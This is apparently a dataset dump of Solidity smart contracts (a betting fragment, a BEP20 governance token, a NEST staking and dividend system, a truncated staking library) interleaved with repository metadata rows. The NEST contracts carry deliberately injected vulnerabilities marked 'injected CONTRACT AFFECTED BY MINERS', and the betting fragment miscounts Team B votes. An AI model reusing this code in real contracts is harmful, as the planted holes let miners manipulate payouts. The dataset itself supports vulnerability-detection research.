c.poolOfTeamA = c.poolOfTeamA.add(voteVal);
if (forTeamAInCombat[_index][_standFor]==0){
usersForTeamAInCombat[_index].push(_standFor);
}
forTeamAInCombat[_index][_standFor] = forTeamAInCombat[_index][_standFor].add(voteVal);
}else {
c.poolOfTeamB = c.poolOfTeamB.add(voteVal);
if (forTeamBInCombat[_index][_standFor]==0){
usersForTeamBInCombat[_index].push(_standFor);
}
forTeamBInCombat[_index][_standFor] = forTeamAInCombat[_index][_standFor].add(voteVal);
}
emit VoteSuccessful(_standFor,_index,_whichTeam,_amount);
}
function refundErrCombat(uint256 _index) public whenNotPaused{
Combat storage c = combats[_index];
require(c.errCombat == 1);
uint256 _amount = forTeamAInCombat[_index][msg.sender].add(forTeamBInCombat[_index][msg.sender]);
require(_amount>0);
forTeamAInCombat[_index][msg.sender] = 0;
forTeamBInCombat[_index][msg.sender] = 0;
msg.sender.transfer(_amount);
}
}
| 144,335 | 14,186 |
b595b3f59b84df3c5c78777aeaac9eff5de3a3a605a206ec3068d0f2dcbad3b3
| 60,322 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xa25FC408EF05321103243557C851101f9AceE608/contract.sol
| 5,605 | 26,755 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// CHIP with Governance.
contract CHIP is BEP20('Chip', 'CHIP') {
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
function airdrop(address[] memory addresses, uint256[] memory amounts) public onlyOwner returns (bool) {
require(addresses.length > 0 && addresses.length == amounts.length);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0 && addresses[j] != address(0));
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf(msg.sender) >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
transfer(addresses[j], amounts[j]);
}
return true;
}
// Copied and modified from YAM code:
// Which is copied and modified from COMPOUND:
// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,delegatee,nonce,expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",domainSeparator,structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "CHIP::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "CHIP::delegateBySig: invalid nonce");
require(now <= expiry, "CHIP::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "CHIP::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CHIPs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "CHIP::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 254,712 | 14,187 |
dbdde5fc7943d71d9fff9199696711738d30efccb85e707ed25b2ec192e584cc
| 19,854 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/contractAffectedByMiners/0x561d0d6c498a379574eAaA4a5F2532b223fFaeBF_affectedByMiners.sol
| 3,879 | 17,792 |
pragma solidity ^0.5.8;
contract IBNEST {
function totalSupply() public view returns (uint supply);
function balanceOf(address who) public view returns (uint value);
function allowance(address owner, address spender) public view returns (uint _allowance);
function transfer(address to, uint256 value) external;
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
function balancesStart() public view returns(uint256);
function balancesGetBool(uint256 num) public view returns(bool);
function balancesGetNext(uint256 num) public view returns(uint256);
function balancesGetValue(uint256 num) public view returns(address, uint256);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b > 0); // Solidity automatically throws when dividing by 0
uint256 c = _a / _b;
assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract IBMapping {
function checkAddress(string memory name) public view returns (address contractAddress);
function checkOwners(address man) public view returns (bool);
}
library address_make_payable {
function make_payable(address x) internal pure returns (address payable) {
return address(uint160(x));
}
}
contract NESTSave {
using SafeMath for uint256;
mapping (address => uint256) baseMapping; // General ledger
IBNEST nestContract; // Nest contract
IBMapping mappingContract; // Mapping contract
constructor(address map) public {
mappingContract = IBMapping(map);
nestContract = IBNEST(address(mappingContract.checkAddress("nest")));
}
function changeMapping(address map) public onlyOwner{
mappingContract = IBMapping(map);
nestContract = IBNEST(address(mappingContract.checkAddress("nest")));
}
function takeOut(uint256 num) public onlyContract {
require(isContract(address(tx.origin)) == false);
require(num <= baseMapping[tx.origin]);
baseMapping[address(tx.origin)] = baseMapping[address(tx.origin)].sub(num);
nestContract.transfer(address(tx.origin), num);
}
function depositIn(uint256 num) public onlyContract {
require(isContract(address(tx.origin)) == false);
require(nestContract.balanceOf(address(tx.origin)) >= num);
require(nestContract.allowance(address(tx.origin), address(this)) >= num);
require(nestContract.transferFrom(address(tx.origin),address(this),num));
baseMapping[address(tx.origin)] = baseMapping[address(tx.origin)].add(num);
}
function takeOutPrivate() public {
require(isContract(address(msg.sender)) == false);
require(baseMapping[msg.sender] > 0);
nestContract.transfer(address(msg.sender), baseMapping[msg.sender]);
baseMapping[address(msg.sender)] = 0;
}
function checkAmount(address sender) public view returns(uint256) {
return baseMapping[address(sender)];
}
modifier onlyOwner(){
require(mappingContract.checkOwners(msg.sender) == true);
_;
}
modifier onlyContract(){
require(mappingContract.checkAddress("nestAbonus") == msg.sender);
_;
}
function isContract(address addr) public view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract Abonus {
using address_make_payable for address;
IBMapping mappingContract; // Mapping contract
constructor(address map) public {
mappingContract = IBMapping(map);
}
function changeMapping(address map) public onlyOwner{
mappingContract = IBMapping(map);
}
function getETH(uint256 num, address target) public onlyContract {
require(num <= getETHNum());
address payable addr = target.make_payable();
addr.transfer(num);
}
function getETHNum() public view returns (uint256) {
return address(this).balance;
}
modifier onlyContract(){
require(mappingContract.checkAddress("nestAbonus") == msg.sender);
_;
}
modifier onlyOwner(){
require(mappingContract.checkOwners(msg.sender) == true);
_;
}
function () external payable {
}
}
contract NESTLeveling {
using address_make_payable for address;
IBMapping mappingContract; // Mapping contract
constructor (address map) public {
mappingContract = IBMapping(map);
}
function changeMapping(address map) public onlyOwner {
mappingContract = IBMapping(map);
}
function tranEth(uint256 amount, address target) public {
require(address(msg.sender) == address(mappingContract.checkAddress("nestAbonus")));
uint256 tranAmount = amount;
if (block.number > address(this).balance) { //injected CONTRACT AFFECTED BY MINERS
tranAmount = address(this).balance;
}
address payable addr = target.make_payable();
addr.transfer(tranAmount);
}
function () external payable {
}
modifier onlyOwner(){
require(mappingContract.checkOwners(msg.sender) == true);
_;
}
}
contract NESTAbonus {
using address_make_payable for address;
using SafeMath for uint256;
IBNEST nestContract;
IBMapping mappingContract;
NESTSave baseMapping;
Abonus abonusContract;
NESTLeveling nestLeveling;
uint256 timeLimit = 168 hours; // Dividend period
uint256 nextTime = 1587700800; // Next dividend time
uint256 getAbonusTimeLimit = 60 hours; // Trigger calculation settlement time
uint256 ethNum = 0; // ETH amount
uint256 nestAllValue = 0; // Nest circulation
uint256 times = 0; // Dividend book
uint256 expectedIncrement = 3; // Expected dividend increment proportion
uint256 expectedMinimum = 100 ether; // Expected minimum dividend
uint256 levelingProportion = 10; // Proportion of dividends deducted
mapping(uint256 => mapping(address => bool)) getMapping; // Dividend collection record
constructor (address map) public {
mappingContract = IBMapping(map);
nestContract = IBNEST(address(mappingContract.checkAddress("nest")));
baseMapping = NESTSave(address(mappingContract.checkAddress("nestSave")));
address payable addr = address(mappingContract.checkAddress("abonus")).make_payable();
abonusContract = Abonus(addr);
address payable levelingAddr = address(mappingContract.checkAddress("nestLeveling")).make_payable();
nestLeveling = NESTLeveling(levelingAddr);
}
function changeMapping(address map) public onlyOwner {
mappingContract = IBMapping(map);
nestContract = IBNEST(address(mappingContract.checkAddress("nest")));
baseMapping = NESTSave(address(mappingContract.checkAddress("nestSave")));
address payable addr = address(mappingContract.checkAddress("abonus")).make_payable();
abonusContract = Abonus(addr);
address payable levelingAddr = address(mappingContract.checkAddress("nestLeveling")).make_payable();
nestLeveling = NESTLeveling(levelingAddr);
}
function depositIn(uint256 amount) public {
require(address(tx.origin) == address(msg.sender));
uint256 nowTime = now;
if (block.number < nextTime) { //injected CONTRACT AFFECTED BY MINERS
require(!(nowTime >= nextTime.sub(timeLimit) && nowTime <= nextTime.sub(timeLimit).add(getAbonusTimeLimit)));
} else {
require(!(nowTime >= nextTime && nowTime <= nextTime.add(getAbonusTimeLimit)));
uint256 time = (nowTime.sub(nextTime)).div(timeLimit);
uint256 startTime = nextTime.add((time).mul(timeLimit));
uint256 endTime = startTime.add(getAbonusTimeLimit);
require(!(nowTime >= startTime && nowTime <= endTime));
}
baseMapping.depositIn(amount);
}
function takeOut(uint256 amount) public {
require(address(tx.origin) == address(msg.sender));
require(amount != 0);
require(amount <= baseMapping.checkAmount(address(msg.sender)));
baseMapping.takeOut(amount);
}
function getETH() public {
require(address(tx.origin) == address(msg.sender));
reloadTimeAndMapping ();
uint256 nowTime = now;
require(nowTime >= nextTime.sub(timeLimit) && nowTime <= nextTime.sub(timeLimit).add(getAbonusTimeLimit));
require(getMapping[times.sub(1)][address(msg.sender)] != true);
uint256 nestAmount = baseMapping.checkAmount(address(msg.sender));
require(nestAmount > 0);
require(nestAllValue > 0);
uint256 selfEth = nestAmount.mul(ethNum).div(nestAllValue);
require(selfEth > 0);
getMapping[times.sub(1)][address(msg.sender)] = true;
abonusContract.getETH(selfEth, address(msg.sender));
}
function levelingResult() private {
abonusContract.getETH(abonusContract.getETHNum().mul(levelingProportion).div(100), address(nestLeveling));
uint256 miningAmount = allValue().div(100000000 ether);
uint256 minimumAbonus = expectedMinimum;
for (uint256 i = 0; i < miningAmount; i++) {
minimumAbonus = minimumAbonus.add(minimumAbonus.mul(expectedIncrement).div(100));
}
uint256 nowEth = abonusContract.getETHNum();
if (block.gaslimit < minimumAbonus) { //injected CONTRACT AFFECTED BY MINERS
nestLeveling.tranEth(minimumAbonus.sub(nowEth), address(abonusContract));
}
}
function reloadTimeAndMapping() private {
uint256 nowTime = now;
if (block.number >= nextTime) { //injected CONTRACT AFFECTED BY MINERS
levelingResult();
uint256 time = (nowTime.sub(nextTime)).div(timeLimit);
uint256 startTime = nextTime.add((time).mul(timeLimit));
uint256 endTime = startTime.add(getAbonusTimeLimit);
if (nowTime >= startTime && nowTime <= endTime) {
nextTime = getNextTime();
times = times.add(1);
ethNum = abonusContract.getETHNum();
nestAllValue = allValue();
}
}
}
function getInfo() public view returns (uint256 _nextTime, uint256 _getAbonusTime, uint256 _ethNum, uint256 _nestValue, uint256 _myJoinNest, uint256 _getEth, uint256 _allowNum, uint256 _leftNum, bool allowAbonus) {
uint256 nowTime = now;
if (nowTime >= nextTime.sub(timeLimit) && nowTime <= nextTime.sub(timeLimit).add(getAbonusTimeLimit)) {
allowAbonus = getMapping[times.sub(1)][address(msg.sender)];
_ethNum = ethNum;
_nestValue = nestAllValue;
} else {
_ethNum = abonusContract.getETHNum();
_nestValue = allValue();
allowAbonus = getMapping[times][address(msg.sender)];
}
_myJoinNest = baseMapping.checkAmount(address(msg.sender));
if (allowAbonus == true) {
_getEth = 0;
} else {
_getEth = _myJoinNest.mul(_ethNum).div(_nestValue);
}
_nextTime = getNextTime();
_getAbonusTime = _nextTime.sub(timeLimit).add(getAbonusTimeLimit);
_allowNum = nestContract.allowance(address(msg.sender), address(baseMapping));
_leftNum = nestContract.balanceOf(address(msg.sender));
}
function getNextTime() public view returns (uint256) {
uint256 nowTime = now;
if (block.gaslimit > nowTime) { //injected CONTRACT AFFECTED BY MINERS
return nextTime;
} else {
uint256 time = (nowTime.sub(nextTime)).div(timeLimit);
return nextTime.add(timeLimit.mul(time.add(1)));
}
}
function allValue() public view returns (uint256) {
uint256 all = 10000000000 ether;
uint256 leftNum = all.sub(nestContract.balanceOf(address(mappingContract.checkAddress("miningSave"))));
return leftNum;
}
function checkTimeLimit() public view returns(uint256) {
return timeLimit;
}
function checkGetAbonusTimeLimit() public view returns(uint256) {
return getAbonusTimeLimit;
}
function checkMinimumAbonus() public view returns(uint256) {
uint256 miningAmount = allValue().div(100000000 ether);
uint256 minimumAbonus = expectedMinimum;
for (uint256 i = 0; i < miningAmount; i++) {
minimumAbonus = minimumAbonus.add(minimumAbonus.mul(expectedIncrement).div(100));
}
return minimumAbonus;
}
function changeTimeLimit(uint256 hour) public onlyOwner {
require(hour > 0);
timeLimit = hour.mul(1 hours);
}
function changeGetAbonusTimeLimit(uint256 hour) public onlyOwner {
require(hour > 0);
getAbonusTimeLimit = hour;
}
function changeExpectedIncrement(uint256 num) public onlyOwner {
require(num > 0);
expectedIncrement = num;
}
function changeExpectedMinimum(uint256 num) public onlyOwner {
require(num > 0);
expectedMinimum = num;
}
function changeLevelingProportion(uint256 num) public onlyOwner {
require(num > 0);
levelingProportion = num;
}
modifier onlyOwner(){
require(mappingContract.checkOwners(msg.sender) == true);
_;
}
}
| 280,669 | 14,188 |
038d1e495706c954dd2e659757ea538d1659692ca35db9ff8cc5eaf4a0862b6e
| 25,982 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/f1/F13D8833Edb1D692b0818896D56Ee1f2f63b72F1_ParrotStaking.sol
| 4,365 | 17,607 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
